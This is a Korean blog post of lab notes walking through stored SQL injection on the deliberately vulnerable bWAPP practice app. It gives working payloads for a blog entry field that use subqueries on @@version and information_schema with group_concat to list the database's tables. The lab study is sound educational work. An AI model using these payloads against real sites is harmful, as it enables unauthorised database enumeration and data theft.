owasp 실습(bwapp)-5 (SQL Injection - Stored (Blog))

2020. 12. 8. 14:04·Web hacking

 

 

 

 

 

 

entry에 aa를 입력하면

 

insert into table values(no, date, entry, owner,)

이런식으로 예상을하고

어떻게 순서가

 

insert into table values(no, date(), 'aa', user())

 

insert into table values(no, date(), 'aa', (select @@version))

 

 

'aa' 이부분이 바로 사용자가 입력을 하는부분이므로

 

이 entry 위치에 sql injection을 걸면된다

insert into table values(no, date, entry, owner)

 

 

사용자의 입력부분(aa)을 조작해서 다음 결과가 나오게한다

 

 

 

 

 

 

-

----------------현재 접속중인 db의 전체 테이블 목록리스트를 출력(우리의 목적)

 

 

 

 

 

test',(select @@version))#

 

입력하면

 

내가입력할수있는것

values= (no, date(), ('aa',select@@version)#, user())

 

내가입력할수있는것

values= (no, date(), ('aa',select@@version))#

이런식으로 진행이된다.

 

 

 

 

 

 

 

 

aa',(select table_name from information_schema.tables limit 0,1))#

 

입력하면

 

 

values= (no, date(),'aa',(select table_name from information_schema.tables limit 0,1)#,users())

이렇게 진행이된다.

 

 

values= (no, date(),'aa',(select table_name from information_schema.tables limit 0,1))#

 

이것은 한줄한줄 나온다 

 

 

 

 

 

-----------------------------------

 

 

aa',(select table_name from information_schema.tables where table_schema=database()))#

 전체 데이터베이스 리스트가 나온다.

원래 이렇게 하면 입력이되지만 오류가나와서

 

 

 

 

 

 

 

 

 

 

group concat을 이용한다.

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database())#

이렇게하면

 

 

insert into table values(no, date(), 'aa', user())

 

이것을

 

insert into table values(no, date(), 'aa',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#,user())

이런식으로 만들수있다.

 

 

 

users()) 이것을 주석처리해주니까

)을 하나 더 감싸주어서 하는것이다

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database())#

이것을

 

',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

이렇게 생각하라.

 

 

 

이렇게 들어가면된다

 

 

'Web hacking' 카테고리의 다른 글

owasp 실습(bwapp)-7 (php code injection) + netcat(리버스 쉘)  (0) 2020.12.08
owasp 실습(bwapp)-6 (OS Command Injection) + netcat(리버스 쉘)  (0) 2020.12.08
owasp 실습(bwapp)-4 (XML/XPath Injection (Login Form)  (0) 2020.12.08
owasp 실습(bwapp) -3 (sql injection blind (ws/soap)  (0) 2020.12.08
owasp 실습(bwapp) -2 (sql injection blind time based)  (0) 2020.12.08
'Web hacking' 카테고리의 다른 글
  • owasp 실습(bwapp)-7 (php code injection) + netcat(리버스 쉘)
  • owasp 실습(bwapp)-6 (OS Command Injection) + netcat(리버스 쉘)
  • owasp 실습(bwapp)-4 (XML/XPath Injection (Login Form)
  • owasp 실습(bwapp) -3 (sql injection blind (ws/soap)
taktaks
taktaks
보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
  • taktaks
    taktaks
    taktaks
  • 전체
    오늘
    어제
    • 보안 일지 (280)
      • 네트워크 구축 (12)
      • 리눅스 보안구축 (10)
      • 파이썬 기본 (11)
      • Web hacking (39)
      • 통합 인프라 보안 (41)
      • 공격기법 및 탐지 (33)
      • 악성코드 및 포렌식 (93)
      • 리버싱 (5)
      • 시스템 해킹 (20)
      • C 언어 (12)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      프롯
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    taktaks
    owasp 실습(bwapp)-5 (SQL Injection - Stored (Blog))
    상단으로

    티스토리툴바